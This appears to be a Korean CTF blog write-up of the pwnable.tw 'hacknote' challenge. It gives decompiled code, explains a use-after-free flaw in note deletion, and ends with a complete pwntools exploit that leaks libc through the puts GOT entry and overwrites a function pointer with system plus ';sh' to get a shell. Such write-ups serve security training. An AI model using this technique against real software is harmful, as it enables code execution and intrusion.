Pwnable/pwnable.tw

hacknote

Writeup


File information


Code

함수명들은 따로 설정한 것입니다.

Main

void __cdecl __noreturn main()
{
  int v0; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v2; // [esp+Ch] [ebp-Ch]
​
  v2 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 4u);
      v0 = atoi(&buf);
      if ( v0 != 2 )
        break;
      Delete();
    }
    if ( v0 > 2 )
    {
      if ( v0 == 3 )
      {
        Print();
      }
      else
      {
        if ( v0 == 4 )
          exit(0);
LABEL_13:
        puts("Invalid choice");
      }
    }
    else
    {
​
      if ( v0 != 1 )
        goto LABEL_13;
      Add();
    } 
  }
}
  • Main함수는 다음과 같은 역할을 한다.
    • menu함수 호출
    • read로 입력받아 값에 따라 다음 함수를 호출한다.
      • 1 : Add
      • 2 : Delete
      • 3 : Print
      • 4 : exit

 

Add

unsigned int Add()
{
  _DWORD *v0; // ebx
  signed int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf; // [esp+14h] [ebp-14h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]
​
  v5 = __readgsdword(0x14u);
  if ( dword_804A04C <= 5 )
  {
    for ( i = 0; i <= 4; ++i )
    {
      if ( !table[i] )
      {
        table[i] = malloc(8u);
        if ( !table[i] )
        {
          puts("Alloca Error");
          exit(-1);
        }
        *table[i] = ready_puts;
        printf("Note size :");
        read(0, &buf, 8u);
        size = atoi(&buf);
        v0 = table[i];
        v0[1] = malloc(size);
        if ( !*(table[i] + 1) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(table[i] + 1), size);
        puts("Success !");
        ++dword_804A04C;
        return __readgsdword(0x14u) ^ v5;
      }
    }
  }
  else
  {
    puts("Full");
  }
  return __readgsdword(0x14u) ^ v5;
}
  • Add함수는 다음과 같은 역할을 한다.
    • table로 동적 할당을 관리한다.
      • table은 0부터 차례대로 채워지며, 최대 5개 생성 가능하다.
    • size제한은 없으며, size만큼 입력을 받는다.
    • Add는 아래와 같이 할당이 진행된다.
      • ready_puts함수를 이용하여 Print함수에서 출력이 이루어진다.

 

Delete

unsigned int Delete()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]
​
  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( table[v1] )
  {
    free(*(table[v1] + 1));
    free(table[v1]);
    puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
}
  • Delete함수는 다음과 같은 역할을 한다.
    • read함수로 index를 입력받는다.
      • index가 0보다 작거나 dword_804A04C(생성된 총 개수)와 같거나 크면 종료시킨다.
    • free는 data가 저장되어 있는 청크 와 그것을 관리하는 청크 순으로 진행된다.

 

Print

unsigned int Print()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]
​
  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= dword_804A04C )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( table[v1] )
    (*table[v1])(table[v1]);
  return __readgsdword(0x14u) ^ v3;
}
  • Print함수는 다음과 같은 역할을 한다.
    • read함수로 index를 입력받는다.
      • index가 0보다 작거나 dword_804A04C(생성된 총 갯수)와 같거나 크면 종료시킨다.
    • 출력은 Add과정에서 저장해둔 ready_puts 함수를 이용하여 출력한다.

Exploit

이 문제는 특정 index를 free 한 이후 해당 index를 초기화시켜주지 않아 일어나는 uaf 취약점을 이용하는 문제이다.

Leak

  • PIE가 걸려있지 않다는 점과 ready_puts함수와 got를 이용하여 leak을 진행한다.

sh

  • Print함수 내부에(*table[v1])(table[v1]);부분을 이용하여 system함수를 호출한다.
    • ready_puts함수가 저장된 부분을 system함수로 overwrite 한다.

 

exploit code

from pwn import *
# context.log_level = 'debug'
p=remote("chall.pwnable.tw",10102)
libc=ELF("./libc_32.so.6")
def Add(size,data):
    p.sendlineafter("choice :", str(1))
    p.sendlineafter("size :", str(size))
    p.sendlineafter("Content :", data)
​
def Delete(index):
    p.sendlineafter("choice :", str(2))
    p.sendlineafter("Index :", str(index))
​
def Print(index):
    p.sendlineafter("choice :", str(3))
    p.sendlineafter("Index :", str(index))
​
​
Add(24,"A")
Add(24,"B")
Delete(0)
Delete(1)
ready= 0x0804862b
puts_g = 0x804a024
Add(8,p32(ready)+p32(puts_g))
Print(0)
leak = u32(p.recvn(4))
libc_base = leak - libc.symbols['puts']
system = libc_base + libc.symbols['system']
​
Delete(2)
pay = p32(system)
pay += ';sh'
Add(8,pay)
Print(0)
​
p.interactive()

'Pwnable > pwnable.tw' 카테고리의 다른 글

pwnable.tw orw  (0) 2019.09.05
pwnable.tw start  (0) 2019.09.05